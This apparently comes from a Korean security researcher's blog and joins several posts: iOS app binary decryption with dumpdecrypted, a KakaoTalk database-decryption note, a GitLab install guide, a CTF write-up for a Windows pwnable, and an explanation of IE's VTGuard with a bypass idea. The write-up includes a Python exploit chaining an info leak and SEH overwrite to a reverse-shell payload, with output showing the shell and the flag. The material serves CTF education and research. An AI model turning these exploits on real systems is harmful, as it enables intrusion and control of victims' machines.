우선 아이패드의 운영체제인 IOS 8 기준으로 앱스토어에서 다운로드 받은 어플리케이션들은 모두 암호화 되어있다고 합니다.


그래서 실행할 경우 언패킹 과정을 거쳐 메모리에 원본 바이너리를 올린 뒤에 실제 프로그램 루틴이 실행 된다고 하는데, 자세한 원리는 아래 링크를 참고해보시면 되겠습니다.


[IOS Tutorial #1] IOS App 암호화 해제하기 (Decrypting IOS App Binary Encryption) On IOS 6.1.3

- http://repo.kr/0x04-ios-penetration-testing/decrypting-ios-app-binary-encryption-on-ios-6-1-3/



자, 이제 앱 원본 바이너리를 추출해 봅시다.


/*

* 이 포스팅은 IOS 연구를 하시는 분들을 위하여 작성된 게시물 입니다.

* 해당 포스팅을 이용하여 불법적으로 상업적인 이득을 취하거나 그 외 법적으로 문제가 발생할 경우 책임은 본인에게 있음을 알려드립니다.

*/


먼저 준비물은 맥북(Mac os가 설치된 컴퓨터), Root 권한을 얻은 아이폰이나 아이패드 등의 IOS가 설치된 기기가 필요합니다.


또한 아래는 IOS 8.1 기준으로 진행한 방법입니다.


우선 바이너리를 추출하고 복호화 하는 방법은 여러가지가 있지만 그 중 대표적인 방법은 실행된 바이너리를 GDB로 붙여서 메모리 덤프를 해서 실행 파일로 만드는 것입니다.


하지만 이 과정도 상당히 귀찮은 면이 많기때문에 stefan esser 라는 외국 짱짱해커분이 만들어두신 dumpdecrypted 로 비교적 쉽게 덤프가 가능합니다.


https://github.com/stefanesser/dumpdecrypted 의 프로젝트를 다운로드 받고 make 명령어로 dylib 파일을 생성합니다.


sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump$ git clone git://github.com/stefanesser/dumpdecrypted

Cloning into 'dumpdecrypted'...

remote: Counting objects: 31, done.

remote: Total 31 (delta 0), reused 0 (delta 0), pack-reused 31

Receiving objects: 100% (31/31), 6.50 KiB | 0 bytes/s, done.

Resolving deltas: 100% (15/15), done.

Checking connectivity... done.


sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump$ ls

dumpdecrypted


sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump$ cd dumpdecrypted/


sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ ls

Makefile README dumpdecrypted.c


sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ make

`xcrun --sdk iphoneos --find gcc` -Os -Wimplicit -isysroot `xcrun --sdk iphoneos --show-sdk-path` -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/Frameworks -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/PrivateFrameworks -arch armv7 -arch armv7s -arch arm64 -c -o dumpdecrypted.o dumpdecrypted.c

`xcrun --sdk iphoneos --find gcc` -Os -Wimplicit -isysroot `xcrun --sdk iphoneos --show-sdk-path` -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/Frameworks -F`xcrun --sdk iphoneos --show-sdk-path`/System/Library/PrivateFrameworks -arch armv7 -arch armv7s -arch arm64 -dynamiclib -o dumpdecrypted.dylib dumpdecrypted.o


sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ ls

Makefile README dumpdecrypted.c dumpdecrypted.dylib dumpdecrypted.o


sweetchip@sweetchipui-MacBook-Pro:~/Desktop/dump/dumpdecrypted$ scp ./dumpdecrypted.dylib root@[192.168.0.44]:/var/root

The authenticity of host '192.168.0.44 (192.168.0.44)' can't be established.

RSA key fingerprint is 7b:dd:df:de:4c:3d:cb:93:04:91:b2:99:88:37:6e:c3.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.0.44' (RSA) to the list of known hosts.

root@192.168.0.44's password:

dumpdecrypted.dylib 100% 193KB 192.9KB/s 00:00


그리고 만들어진 파일을 scp로 제 아이패드에 복사시킵니다.


그후 아이패드 SSH에 접속합니다.


hyeonseong-won-ui-iPad:~ root# DYLD_INSERT_LIBRARIES=dumpdecrypted.dylib /private/var/mobile/Containers/Bundle/Application/00000000-0000-0000-0000-000000000000/appname.app/appname mach-o decryption dumper

mach-o decryption dumper


DISCLAIMER: This tool is only meant for security research purposes, not for application crackers.


[ ] detected 32bit ARM binary in memory.

[ ] offset to cryptid found: @0xb9a08(from 0xb9000) = a08

[ ] Found encrypted data at address 00004000 of length 13877248 bytes - type 1.

[ ] Opening /private/var/mobile/Containers/Bundle/Application/00000000-0000-0000-0000-000000000000/appname.app/appname for reading.

[ ] Reading header

[ ] Detecting header type

[ ] Executable is a plain MACH-O image

[ ] Opening appname.decrypted for writing.

[ ] Copying the not encrypted start of the file

[ ] Dumping the decrypted data into the file

[ ] Copying the not encrypted remainder of the file

[ ] Setting the LC_ENCRYPTION_INFO->cryptid to 0 at offset a08

[ ] Closing original file

[ ] Closing dump file

hyeonseong-won-ui-iPad:~ root# ls

Application Support appname.decrypted Library dumpdecrypted.dylib


/private/var/mobile/Containers/Bundle/Application/ 경로에 보시면 현재 설치된 앱 바이너리들이 있는데 이는 find 명령어 등으로 정확한 위치를 알아내신 뒤,


위와같이 커맨드를 입력합니다. 그러면 자동으로 디크립션된 앱을 통째로 덤프 떠주면서 마지막으론 appname.decrypted 라는 파일을 뱉어냅니다.


그 후 IFunBox 등의 유틸이나 scp 등을 이용하여 프로그램을 추출하시면 복호화된 원본 바이너리를 얻을 수 있습니다.


이 과정으로 GDB를 붙이는 것에 비하여 비교적 간단하게 어플을 가져올 수 있었습니다.


끝!



참고 링크 1 : http://blog.l4ys.tw/2014/01/dump-ios-app-headers.html

참고 링크 2 : https://github.com/stefanesser/dumpdecrypted


신고

Comment 10

  • 2015.04.06 22:45 수정 답글

    비밀댓글입니다

    • 2015.04.10 15:17 신고 수정

      PPT는 본인이 했던 연구나 공부했던 자료를 발표하는 것이라 보시면 되겠습니다. 제가 지원할 당시 BOB 연구원님께서 최대한 본인을 자랑[?]할 수 있는 기회라고 하셨던 기억이 나네요.
      좋은결과 있으시길 바라겠습니다. :)

    • 안녕하세요..
      2015.04.10 20:53 신고 수정

      와우, 답변 감사합니다.
      그런데 배운게 많이 없는상태에서 지원을 하게되면
      합격은 어려울정도로 경쟁률이 쎈가요??
      기간이 얼마 남지 않은거같아 당장 뭘 준비해야될지도 모르겠고
      초조한 마음만 드네요 ..

    • 2015.04.11 18:09 신고 수정

      2기는 4:1, 3기는 9:1로 기억하고 있습니다.
      일단 BOB에서는 기본적으로 해킹과 프로그래밍 지식이 먼저 필요하다고 보는것 같습니다. 프로그래밍, 웹 해킹, 시스템 해킹등 보안 분야와 관련된 부분을 공부해보시면 좋을것 같습니다.

  • 2015.04.11 11:24 수정 답글

    비밀댓글입니다

    • 2015.04.11 18:11 신고 수정

      그래도 일단 PPT같은건 준비하시는게 좋습니다.
      본인이 어느정도까지 공부한 상태이고 앞으로 더 많은걸 공부할 수 있다는 것을 보여주시면 될 것 같습니다.
      또한 아직 기간이 좀 남아있다면 그 동안 더 많은 연구를 해서 다른 지원자 분들과는 다른 차별점을 만들어 보는게 좋을것 같습니다.

  • 2015.04.15 19:40 수정 답글

    비밀댓글입니다

    • 2015.04.18 13:17 신고 수정

      우선 BOB는 해킹 및 보안 그리고 프로그래밍, 포렌식, 네트워크, 운영체제등 이런 분야를 가르치는 곳입니다.
      지금 부터라도 위 분야 및 위 분야와 관련되어 있는 선수지식 등을 공부하시면서 준비하시면 좋을 것 같습니다.
      그리고 PPT 주제는 정말 자유입니다. 제가 추천드리는건 자기 자신을 가장 자랑할 수 있는 부분(본인이 진행한 연구, 공부 등)을 주제로 발표하시는것을 추천드립니다.

    • 2015.04.18 19:25 수정

      비밀댓글입니다

    • 2015.04.18 20:29 신고 수정

      평가는 제가 아닌 멘토님들이 하시는 거라서 차이가 상당히 클 것 같아서 발표 주제에 대해서는 제가 따로 말씀을 드릴 수 없을것 같네요.
      또한 면접 + PPT 이므로 PPT도 비중이 큰건 사실이지만 복합적으로 들어간다고 보시면 되겠습니다.
      주제는 책에 있는 것을 정리한 내용 보다는 본인이 연구했던 주제로 잡는게 가장 좋다고 보고있습니다. (제 생각입니다.)



안녕하세요.


오랜만의 포스팅이네요..


회사 인턴을 하면서 지내다가 얼마전 부터 조금 여유가 생기고.. 잠시 쉬려고 하는데 갑자기 이상하게도 매일 쓰는 카카오톡의 구조를 알고 싶어서 조금 까보게 되었습니다.


카톡은 예전부터 이미 다른 짱짱해커분들이 바이너리를 많이 까둔 상태인데.. (PC for MAC, PC for Windows, IOS, Android <- 이건 신나게 분석하는 도중.. 분석 막바지에 찾았네요.. OTL)


위는 구글링 하면 나오는 자료들이니 패스!


언어를 주로 제가 사용하는 파이썬으로 짜보려고 했는데 카톡의 독특한 암호알고리즘으로 암호화 되어있어서 파이썬으로 재현해보려고 별의 별 뻘짓의 결과 실패로 포기하고


자바 언어도 새로 배울겸(3년전에 만져본적은 있지만.. helloworld 조차 실패 ㅋㅋ) 하면서 주말동안 분석을 진행해봤습니다.


그나저나 기본적인 Proguard 같은 난독화 솔루션 이외에 다른 무언가가 적용되었는지 아니면 JD-GUI가 이상한건지


Internal Error 등 내부적인 디컴파일 오류를 내뿜어대고 심지어 함수가 몇단계를 계속 들어가야 하는 부분도 있어서 분석하느라 고생좀 했습니다 ㅋㅋ


* 이과정에서 IDA로 Jar 파일을 열수 있다는것과 smali code를 강제로 공부하게 되었네요 ㅋㅋ..



그러나.. 분석하면서 답답함을 느끼고 다른 운영체제의 카톡의 구조는 어떻게 만들어져 있는지 찾아보기 위해서 구글링을 해보다가


몇페이지 더 깊게 들어가보니 2년전에 어느분이 안드로이드용 카톡을 조금 분석해둔 분이 계셨네요.. OTL


APK 분석은 많은 경험이 없어서 삽질하면서 그냥 공부했다 생각하며.. ㅎ 나머지를 계속 진행했습니다 ㅋㅋ



결국엔 여러 삽질 끝에 주말을 빠이빠이하고 복호화에 성공했네요.. ㅎㅎ


현재 복호화가 되는걸로 확인한 것은 친구들 데이터와 대화 내용 데이터인데..


분석해본건 나중에 시간날때 정리해서 올려보도록 하겠습니다. :)





신고

'0x00 프로그래밍 > 0x02 android' 카테고리의 다른 글

KakaoTalk 안드로이드 DB 복호화 성공!  (11) 2015.02.16

Comment 11




오랜만의 기술문서를 배포하게 되었습니다.


화이트해시, 그레이해시 인턴 과정을 거치면서 연구했던 IE의 보호기법과 현재 나와있는 우회법을 간단하게 정리했습니다.


기술에서 테크니컬한 내용은 자세하게 다루지 않았습니다. 대신 중간중간 참고할만한 링크도 함께 걸어두었습니다.


도움이 되었으면 좋겠습니다.



* 틀린점이 있다면 sweetchip@sweetchip.kr 이나 아래 댓글로 달아주시면 감사하겠습니다.


- https://beistlab.wordpress.com/2015/01/15/grayhash_ie_memory_protection/



신고

댓글 0





예전부터 소스코드 관리를 어떻게 하면 좋을까 고민은 하고 있었지만 github를 사용해볼까 하기도 했지만 private repository를 제공하지 않아서 부적절했다.


그후 private repository를 제공하는 bitbucket이라는 git 서버를 찾았는데 조금 사용하다가 말았다.


그리고 그동안 잠시 잊고 지내다가 얼마전에 git을 만질일이 있었고 이때 gitlab을 만나게되었다.


gitlab은 개인 서버에 git서버를 '매우 쉽게' 구축할 수 있는 유틸리티이다.


일단 공식 사이트는 아래 링크를 따라가면 된다.


https://about.gitlab.com/downloads/


그런데 하나 확인해야 할 것이 있다. gitlab의 권장사양은 64비트 운영체제(지원 운영체제는 ubuntu와 기타)이며 램 2기가 이상, cpu 코어 2개 이상이다.


cpu 코어정도는 뭐 신경을 크게 안써도 되지만 램이 부족하면 말이 달라진다.


실제로 1기가 램인 내 개인 서버에 설치해보니 포풍오류가 나와서 로그를 찍어보니 메모리 할당을 못한다고 한다.. 정확히 2기가가 아니라서 그런진 모르겠지만,


램이 2기가가 넘는 환경에서 구축 하는 것을 권장하고 64비트 VM에서 설치하는 것을 권장한다.


wget https://downloads-packages.s3.amazonaws.com/ubuntu-14.04/gitlab_7.6.1-omnibus.5.3.0.ci-1_amd64.deb

sudo apt-get install openssh-server

sudo apt-get install postfix # Select 'Internet Site', using sendmail instead also works, exim has problems

sudo dpkg -i gitlab_7.6.1-omnibus.5.3.0.ci-1_amd64.deb


우선 설치할 서버(ubuntu 14.04.1 기준)에 wget으로 위 링크(링크는 업데이트마다 바뀌니 공식 홈페이지에서 확인 하세요)를 다운받는다.


ssh 서버와 postfix 설치는 생략하겠다. (postfix는 따로 설치 안해도 된다.)


그다음 dpkg로 deb 패키지를 설치한다.


잠시 기다리면... 설치가 완료된다..


진짜 알아서 다해준다!


다만 처음에 vim /opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml 명령어로 host와 port를 설정해주면 된다.


만약 오류가 난다면 gitlab-ctl tail 명령어를 사용하여 무엇이 잘못됬는지 실시간 오류를 보면서 구글링을 해보자.. (본인의 경우 8080포트가 겹치는 것이 있었다. 간단하게 unicorn의 포트를 바꿔줫더니 해결!)


그리고 별다른 오류가 없다면 바로 본인 서버에 접속하여 맘껏 사용하도록 하자!





서버 몇가지 명령어


gitlab-ctl start # 서버 시작

gitlab-ctl stop # 서버 중지

gitlab-ctl reconfigure # 서버 설정 변경 후 실행

gitlab-ctl restart # 서버 재시작


부록--


처음엔 32비트 서버에도 설치할 일이 있어서 공식 홈페이지에 있는 64비트 패키지를 강제설치 했는데 당연히 실행이 안되고 설치도 덜 되었다.


그래서 다시 패키지를 지우고 32비트 전용을 찾아다녔는데 공식 홈페이지에서 배포하는 패키지는 모두 64비트 전용이라고 한다.


절망과 함께 다시 찾아다니다가 bitnami 에서 배포하는 패키지를 발견했다.


https://bitnami.com/stack/gitlab/installer


위에서는 32비트에서 설치하길 원할경우, 64-bit 문구가 붙어있지 않은 파일을 다운로드 받으면 된다.


설치는 공식 홈페이지에서 배포하는 버전보단 아주 약간 작업할 것이 있지만, 크게 힘든건 없다.


http://smile8916.tistory.com/38 이곳을 참고하여 설치하면 될 것이다.



신고

댓글 0



블로그 포스팅을 너무 오랫동안 안했네요!!...


그동안 바쁘긴 했는데.. 그래도 뭐좀 쓰자 해서.. 얼마전에 출제한 문제의 write-up이 적절할 것 같아서 쓰기로 했습니다!


14년 11월 6일부터 7일! 2일간 POC 컨퍼런스가 있었습니다.


[위는 POC에서 얻은 것들.. 이번 입장권은 이쁘네요.. ㅎㅎ]


그리고 POC 이벤트 행사 중 여성해킹대회인 POWER OF XX 본선 경기가 있었습니다.


POX는 숙명여대 SISS와 HackerSchool - Wiseguys 팀이 함께 진행하는 행사였고 저는 작년과 마찬가지로 문제 출제를 담당했습니다.


아쉽게도 이번엔 바쁜일이 많아서 문제를 1개밖에 출제하지 못했었네요.. ㅠㅠ


아무튼 이번에 제가 출제했던 분야는 Pwnable이고 특이하게도 리눅스에서의 Pwnable이 아닌 윈도우에서의 Pwnable 문제입니다.


주로 리눅스보다 윈도우에서 시스템 해킹분야를 공부하다 보니 나름[?] 신선하겠다 해서 출제를 결심하게 되었습니다.


게다가 본선 진출팀중에서 윈도우 시스템 해킹을 공부했던 분이 몇분 있는걸로 알고 있고, 또 문제도 그리 어렵게 내지는 않을거라서 별 문제 없겠다 생각했습니다.


Binary :

brokenwindow


Description :

Can you Break Windows?

Key Example : flag{this_is_flag} -> this_is_flag

[Pwnable]


본격적인 풀이에 들어가기 앞서..

현재 Binary에 적용된 메모리 보호기법은 아래와 같습니다.
ASLR : ON
DEP : OFF
STACK COOKIE : ON
SAFE SEH : OFF

ASLR은 메모리 배치를 무작위로 해서 Exploit을 어렵게 하는것이고 Stack Cookie는 BOF를 체크하는 문제입니다.


4가지 보호기법 모두 컴파일러에 기본적으로 적용되어 있는 메모리 프로텍션들입니다.


하지만 난이도를 조절하기 위하여 일부 보호기법을 해제했습니다.


문제 컨셉은 제로데이 마켓입니다. (뭘 할까 하다가..)


sub_401000 proc near


var_4= dword ptr -4


push ebp

mov ebp, esp

push ecx

mov [ebp var_4], ecx

mov eax, [ebp var_4]

mov dword ptr [eax], 5 ; my_zeroday

mov ecx, [ebp var_4]

mov dword ptr [ecx 4], 2710h // 10000

mov edx, [ebp var_4]

mov dword ptr [edx 328h], offset sub_401070 // Function Pointer

mov eax, [ebp var_4]

mov esp, ebp

pop ebp

retn

우선 구조체를 설정하는 부분입니다.


위를 다시 코드로 정리해보면 아래와 같습니다


typedef struct st

{

int my_zeroday = 5;

int money = 10000;

??? // char description[500];

??? // char name[300]; - 두 값 모두 보이지는 않지만 실제론 이렇게 되어있습니다.

void* func_ptr = &sub_401070;

}st;


그리고..


sub_401070 proc near

push ebp

mov ebp, esp

push offset aThankYou_HaveA ; "[*] Thank you. Have a nice day\n"

call _puts

add esp, 4

pop ebp

retn


구조체 중 Function Pointer를 보면 단순하게 '고맙습니다, 좋은하루 되세여' 라는 뜻의 문장을 출력해주는 함수입니다.


이 다음부턴 급 귀찮아지니 우리의 친구 F5를 사용하겠습니다


signed int __cdecl sub_401090()

{

int v0; // eax@1

void (*v2)(void); // [sp 4h] [bp-370h]@0

int v3; // [sp 8h] [bp-36Ch]@5

int v4; // [sp Ch] [bp-368h]@1

int v5; // [sp 10h] [bp-364h]@6

char v6; // [sp 14h] [bp-360h]@13

char v7; // [sp 208h] [bp-16Ch]@13

void (*v8)(void); // [sp 334h] [bp-40h]@8

char WideCharStr; // [sp 338h] [bp-3Ch]@5

char v10; // [sp 33Ch] [bp-38h]@16


v0 = sub_40138A();

setvbuf((FILE *)(v0 32), 0, 4, 0);

sub_401000(&v4);

while ( dword_4154E4 < 30 )

{

dword_4154E4;

if ( dword_4154E4 > 50 )

exit(0);

sub_401030();

puts("> ");

sub_40A587(0, (LPWSTR)&WideCharStr, 2u);

v3 = sub_402175(&WideCharStr);

if ( v3 == 1 )

{

if ( v5 >= 5000 )

{

v5 -= 5000;

puts("[*] You bought a new 0day! and paid 5000won.");

v2 = v8;

v8();

}

else

{

puts("[-] You don't have any money. Go back..");

}

}

else if ( v3 == 2 )

{

if ( v4 >= 1 )

{

puts("[ ] Input Vulnerability Title : ");

sub_40A587(0, &::WideCharStr, 0x12Cu);

memmove(&v7, &::WideCharStr, 0x12Cu); // Information Leak

puts("[ ] Input Details about your 0-day: ");

sub_40A587(0, &word_4151C0, 0x1F4u);

memmove(&v6, &word_4151C0, 0x1F4u);

sub_40147B("[*] Title : %s\n[*] DESC : %s\n", (unsigned int)&v7);

puts("[*] Thank you! you got 3000Won");

((void (__cdecl *)(void (*)(void), void (*)(void)))v8)(v8, v2);

v5 = 3000;

--v4;

}

else

{

puts("[-] Hmm, I don't have any zeroday..");

}

}

else

{

if ( v3 == 3 )

{

puts("[ ] HELLO? : ");

sub_40167F("%s", (unsigned int)&v10); // scanf BOF!!

puts("[*] YOU GOT PWNED :)");

return 1;

}

if ( !v3 )

{

puts("[-] bye");

return 1;

}

puts("[?] WTF");

}

}

return 1;

}


우선 코드를 간단하게 정리해보면

처음 메뉴 1,2,3 을 출력하고 각 선택할때 분기문으로 흘러갑니다.

1번 분기는 제로데이를 구입하는것이고

2번 분기는 제로데이를 판매하는데 title과 description을 적습니다. 그리고 임시로 전역변수에 담고 이후 구조체변수에 담습니다.

3번 분기는 제로데이를 마음껏 사용하는 메뉴입니다.


하나하나 살펴보면..


3번 분기에서 scanf와 %s로 인하여 Buffer Overflow 취약점이 발생하고 Return Address를 덮어쓸 수 있습니다.


하지만! 아까 처음 보호기법에 의하면 ASLR과 Stack Cookie가 적용되어 있기 때문에, 리턴어드레스를 덮어씌우는 것 만으로는 부족합니다.


하지만! DEP가 설정되어있지 않기 때문에 쉘코드 실행은 간단하죠!


하지만! 쉘코드를 어디에 둬야 하는지 약간 의문이 들기도 합니다. 이것에 대한 답은 2번 분기에서 Vuln Title과 Description을 적는곳이 있었는데


이부분에 잠시 전역변수에 값을 담고 구조체로 옮기기 때문에 전역변수에 쉘코드를 담는다면 다른 메뉴로 가도 여전히 쉘코드가 남아있을 것입니다.


이때 전역변수의 값은 Base address offset 이고, offset은 일정하기 때문에 Base Address만 구해주면 문제를 간단하게 해결할 수 있습니다.


또한 이때 Base Address는 2번 메뉴의 memmove 함수로 인하여 구조체의 Function Pointer의 값을 유출할 수 있습니다. (Info Leak)


마지막으로 Stack Cookie 보호기법이 있기때문에 Return Address의 값을 손상시켜도 EIP가 제대로 컨트롤 되지 않을 것입니다.


이는 SEH Overwrite를 이용하여 우회할 수 있습니다. 간단하게 설명하면 SE Handler 값을 변조시키고 의도적으로 Exception을 발생하면 EIP 변경이 가능합니다.


자세한건 검색!



써놓고보니 복잡하지만 다시 정리하면


1. BOF 취약점

2. 전역변수에 쉘코드를 담고

3. Info Leak으로 Function Pointer의 값을 유출 시켜 Base Address를 구한뒤

4. SEH Overwrite로 전역변수 위치(Base Address offset)로 EIP 변조


위 과정을 거치면 쉘을 딸 수 있습니다.


#exploit.py

from socket import *

import threading

import time

import struct


up = lambda x : struct.unpack("

p = lambda x : struct.pack("



def payload():

# metasploit

# use payload/window/shell_reverse_tcp

# bad char : 0x00 0xff 0x0a 0x0d 0x1a

shellcode =( 삭제 )

result = ""

result = "\x90"*50

result = shellcode

return result


def bad():

result = ""

for i in range(1, 26):

result = chr(i)

return result


ip = "192.168.0.93"

port = 1337

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


time.sleep(0.1)

print s.recv(2048)

s.send("2")

print s.recv(4096)

s.send("A"*300)

time.sleep(0.1)

print s.recv(4096)

p = payload() "A"*(500-len(payload()))

s.send(p)

time.sleep(0.1)

temp = s.recv(40960)

ptr = temp.split("A"*300)[1].split("[*]")[0].replace("\x0d\x0a","")[0:4] # RAW memor (leaked)

print temp


if len(ptr) == 3:

ptr = "\x00"


print ptr.encode("hex")

print "base address : " hex(up(ptr)&0xffff0000)

print "shellcode address : "

shellptr = ((up(ptr)&0xffff0000) 0x151c0 0x20)



s.send("3")

time.sleep(0.1)

print s.recv(4096)

exploit = "A"*116

exploit = struct.pack("

exploit = "D"*10000

s.send(exploit)


s.close()



확률은 거의 90% (aslr 때문에..)로 작동합니다.



C:\Users\sweetchip\Desktop>exploit.py

[-]*********************************************************************

[*] WELCOME TO ZERODAY MARKET. SELECT MENU :)

[ ] 1.BUY ZERODAY

[ ] 2.SALE ZERODAY

[ ] 3.USE ZERODAY

[ ] 0.EXIT

[-]*********************************************************************

>


[ ] Input Vulnerability Title :


[ ] Input Details about your 0-day:


[*] Title : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2롤?


[*] DESC : 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱柏?$??B?O1r꺜

r캠??塢까??J次.gx蝕?,理?

홃뱩?

DR?눛씵xsN??;㎯!|0?궃ㅨ괺\Td?0?k6?섏}?=}穗???笠잶

렁[?\쎒V盖梓?벣앵E냰?꺢??

j픽]$괼7냟y?樺?}%a곽p?lu?z2 <1???&W힅?2샹-~zT\程Z?:AAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2롤?

[*] Thank you! you got 3000Won

[*] Thank you. Have a nice day


[-]*********************************************************************

[*] WELCOME TO ZERODAY MARKET. SELECT MENU :)

[ ] 1.BUY ZERODAY

[ ] 2.SALE ZERODAY

[ ] 3.USE ZERODAY

[ ] 0.EXIT

[-]*********************************************************************

>


70101e01

base address : 0x11e0000L

shellcode address :

[ ] HELLO? :



C:\Users\sweetchip>nc -lvp 31337

listening on [any] 31337 ...

connect to [192.168.0.93] from [Blind] [192.168.0.93] 62851

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.


K:\prob_server>dir

dir

K 드라이브의 볼륨: [Blind]

볼륨 일련 번호: A497-E7DC


K:\prob_server 디렉터리


2014-11-09 오후 09:02

.

2014-11-09 오후 09:02

..

2014-11-06 오전 09:50 84,992 brokenwindow.exe

2014-11-06 오전 10:22 45 key.txt

2014-11-06 오전 09:50 75,264 loader.exe

2014-11-03 오전 11:09 32 run.bat

4개 파일 160,333 바이트

2개 디렉터리 5,296,316,416 바이트 남음


K:\prob_server>type key.txt

type key.txt

flag{Only_True_Love_Can_Break_Frozen_Windows}

K:\prob_server>


Key : Only_True_Love_Can_Break_Frozen_Windows


키는 POC 2014에서 passket & SNE, "Only True Love Can Thaw frozen SCADA Systems" 의 발표제목을 참고했습니다. ㅋㅋ


음...


끝!! ㅋㅋ



신고

Comment 6

  • Reset
    2014.11.09 21:55 신고 수정 답글

    이거 푼 팀이 있음?ㅋㅋㅋㅋㅋㅋㅋㅋ

    • 2014.11.10 00:15 신고 수정

      전반적으로 팀들이 시도를 안하는것 같았음..
      그래서 푼팀은 없었음.. ㅠㅠ 아쉽

  • hakbaby
    2014.11.10 10:21 신고 수정 답글

    휴 아쉽당 ㅠㅠ 시도라두 해볼걸 ㅠㅠ
    괜히 겁먹어서는 ㅠㅠ 에효
    다음엔 꼭 풀께요!!! :D

  • bloneplay
    2014.11.11 18:59 신고 수정 답글

    재밌게 잘 만든 문제같은데 시도한 팀도 많이 없었다니 아쉽네요 ㅋ


오랜만의 포스팅!


지난번 데프콘에 갈 기회가 생겨서 다녀오게 되었는데 귀국후 바로 인코그니토 CTF와 친척들과의 휴가, 그리고 인코그니토 발표까지


대략 2주동안 힘들게 지낸끝에 모든일이 끝났다 ㅎㅎ..



2월 말까지 BOB 프로젝트로 웹브라우저 취약점 헌팅과 7월 말까지 WhiteHash를 진행하게 되면서 다시 한번 웹브라우저 취약점 헌팅에 도전하면서


IE를 분석하게될 일이 있었는데 VTGuard에 대해서 몇글자 써보려고 한다.




IE 10부터 VTGuard가 적용되었는데 이는 IE만의 Memory Protection중 하나이다.


VTGuard의 원래 이름은 Vtable Guard인데 원래 Vtable에 있어야 하는 일정한 쿠키값과 현재 Vtable의 쿠키값을 비교해서 무결성을 체크하는 기법이다.


그 원리에 대해서 간단하게 알아보자




우선 mshtml.dll의 내부를 뜯어보면 __vtguard 라는 함수가 자리를 차지하고 있는데 함수의 내용을 살펴보면


mov edi, edi

int 3

retn


이 끝이다. 처음 봤을때는 이게 진짜 끝인가 하고 이름을 좀더 추측해서 여러가지를 찾아봤지만 이 vtguard 함수가 끝이다.




그러다가 xref를 살펴보니 엄청나게 많은 양의 참조가 있는것을 보았는데 대부분 사용되는 것은 구조체안의 또다른 구조체 어느 값(vtable값중 일부)과 vtguard의 주소를 비교하는 것을 볼 수 있다.




이처럼 처음 mov ecx, [esi] 로 vtable의 pointer를 얻어오고 cmp dword ptr [ecx 328h]로 vtable cookie를 확인하는 것을 볼 수 있다.


간단하게 다시 글로 나타내면


|ptr to vtable| ???? | ???? | ???? | ???? | ???? | <- Heap Object

|????|????|????|????|????|cookie| <- Vtable


대략 이런 형태로 볼 수 있는데, 이때 cookie 값에는 mshtml이 로드된 뒤, (base address offset __vtguard) 의 값이 저장되어 있을 것이다.





그렇다면 어떤 효과가 있을까?


Heap Overflow에서는 효과가 적을 수도 있겟지만, Use After Free 취약점에 대해서는 어느정도 방어가 가능하다.


만약 위 그림의 .text:636dc10f의 ESI 레지스터가 Free된 Object의 포인터이고 공격자가 Object의 내용을 조종한 상태라고 가정한다.


또한 정상적인 Heap object와 vtable에는 각각 정상적인 ptr to vtable값과 cookie값이 들어가 있을 것이다.


------------------------------------------------------------------------------------------

정상적인 Heap Object

|Ptr to vtable (0x100a324b)| ???? | ???? | ???? | ???? | ???? | <- Heap Object

|????|????|????|????|????|cookie (0x63d2dfb4)| <- Vtable

------------------------------------------------------------------------------------------

UAF 취약점으로 인하여 변조된 Heap Object

|Ptr to vtable (0x12121212)| 0x12121212 | 0x12121212 | 0x12121212 | 0x12121212 | 0x12121212| <- Fake Heap Object

|0x0c0c0c0c|0x0c0c0c0c|0x0c0c0c0c| ... |0x0c0c0c0c|cookie(0x0c0c0c0c)| <- Fake Vtable

------------------------------------------------------------------------------------------


Object를 0x12121212 로 채워넣고 0x12121212 주소에는 0x0c0c0c0c가 채워져있다.


이 상태로 Vtguard 루틴으로 들어갈 경우 cmp dword ptr [ecx 328], offset __vtguard 부분에서 걸러지고




이후 프로세스가 혼자 죽어버린다.




엄청난 우회법은 현재 나와있지 않은 상태이다.


하지만 Vtguard는 __vtguard 함수의 주소를 Cookie로 사용하고 있기때문에 Information disclosure 버그로 mshtml의 Base Address 주소와


현재 mshtml 버전의 __vtguard 함수의 Offset만 더해서 구해주고 Fake Vtable에 삽입하면 된다.


하지만 말처럼 Information disclosure 버그를 찾는게 쉬운게 아니라서 조금더 간단한 방법을 찾아봐야 한다.



